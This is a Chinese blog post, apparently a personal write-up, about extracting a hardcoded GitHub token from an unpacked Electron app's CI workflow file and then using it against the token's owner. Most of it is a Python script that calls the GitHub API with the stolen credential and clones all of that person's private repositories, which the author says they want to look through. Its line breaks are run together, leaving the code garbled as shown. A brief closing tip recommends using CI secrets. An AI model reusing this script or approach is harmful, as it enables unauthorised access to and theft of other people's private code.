记一次逆向拿到github token 然后dump掉别人所有库的

背景

今天逆electron程序，解包后看到了一个.github目录，打开后现这个人使用github ci，并且这个人很愚蠢的是把github的token写死到yml文件中了（切记这种是可以直接配置github的secrets参数的）

接着好玩的就来了，写一个脚本直接dump别人所有的代码库，下来品鉴品鉴

# pip install GitPython
import http.client
import json
import git
import osGH_TOKEN = "xxxxxx"conn = http.client.HTTPSConnection("api.github.com")
payload = ''
headers = {'Authorization': 'Basic xxxxxxxxxxx',"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36"
}
conn.request("GET", "/user/repos?per_page=100", payload, headers)
res = conn.getresponse()
data = res.read()
print(data.decode("utf-8"))
repos = json.loads(data.decode("utf-8"))
for repo in repos:print(f"Dumping | {repo['name']} | {repo['private']}")if repo['private'] != True:continuetry:cloneDir = f"./repos/{repo['name']}"os.makedirs(cloneDir)git.Git(cloneDir).clone(f"https://{GH_TOKEN}:x-oauth-basic@github.com/{repo['full_name']}")except Exception as e:print(e)continue

最后简述

在electron打包的时候，一定要注意不要打包一些token等密钥信息了
任何构建平台都用secrets 不要直接写死了，大部分ci平台都支持

记一次逆向拿到github token 然后dump掉别人所有库的相关推荐

GitHub Token的使用
GitHub Token的使用问题本地项目git push到远程仓库遇到问题: remote: Support for password authentication was removed o ...
记一次逆向追踪请求ip的经历
记一次逆向追踪请求ip的经历事发应急处理寻找问题原因封锁请求进入定位请求的内网ip 事发某日下午,部门使用的测试环境出现问题,所有集成测试case都执行失败.查询测试用服务器发现是磁盘已满 ...
记一次通过c#运用GraphQL调用Github api
一.Graphql是什么最近在折腾使用Github api做个微信小程序练练手,本篇文章就是在这个过程中记录. 直接先看下GraphQL的语法风格,感受一下: query {repository(o ...
记一次逆向破解微信小程序参数签名
文章目录前言小程序逆向基础知识储备逆向环境准备反编译出源码破解签名算法源码算法分析脚本计算签名插件自动替换总结前言本文首发于 Freebuf 安全社区,未经许可谢绝转载! 在一 ...
记一次逆向:云视听极光展示NBA模块
都说温饱思淫欲,但春节回家吃饱喝足之后,我是真的手痒想敲代码啊......于是乎就想找点事干干,恰好发现家里新买的小米电视安装"云视听极光"没有NBA模块(之前家里的长虹电视能展示 ...
github创建本地库后关联远程库
在进行新项目开发时,有时候并不一定先创建远程库,而是先在本地将项目创建,到一定阶段后再与远程库关联.下面步骤解决本地库与远程库在这种情形. 1. 初始化本地库,既然项目已经创建了,相信这个也已经知道了 ...
本周Github项目精选：高效CNN推理库、多款AlphaGo实现
来源:PaperWeekly 本文共1700字,建议阅读6分钟. 本文为你精选近期Github上的高效CNN推理库.多款AlphaGo实现项目等,一起Star和Fork吧- 01 ELF #Faceb ...
100多个Jupyter精选资源合集！GitHub高赞，包括项目、库、教程等11个方面
点击上方,选择星标或置顶,不定期资源大放送! 阅读大概需要5分钟 Follow小博主,每天更新前沿干货作者:乾明转自:量子位 Jupyter,一个开源的Web应用程序,能在网页页面中直接编写代码. ...
「可解释ML/3D深度学习等」Github六月最受欢迎的机器学习库来啦
https://www.toutiao.com/a6706469836307825163/ SHUBHAM SINGH总结了Github上6月份最火的7个项目.这七个项目涵盖可解释性机器学习.3D深度 ...
GitHub上如何删除fork别人的repository
在Github上如果看到有很不错的项目和作品,一般我们可以进行三种操作:那就是watch,star和fork watch也就是关注该repo的动态 star则类似于Facebook.Twitter和朋 ...

记一次逆向拿到github token 然后dump掉别人所有库的

背景

最后简述

记一次逆向拿到github token 然后dump掉别人所有库的相关推荐

最新文章

热门文章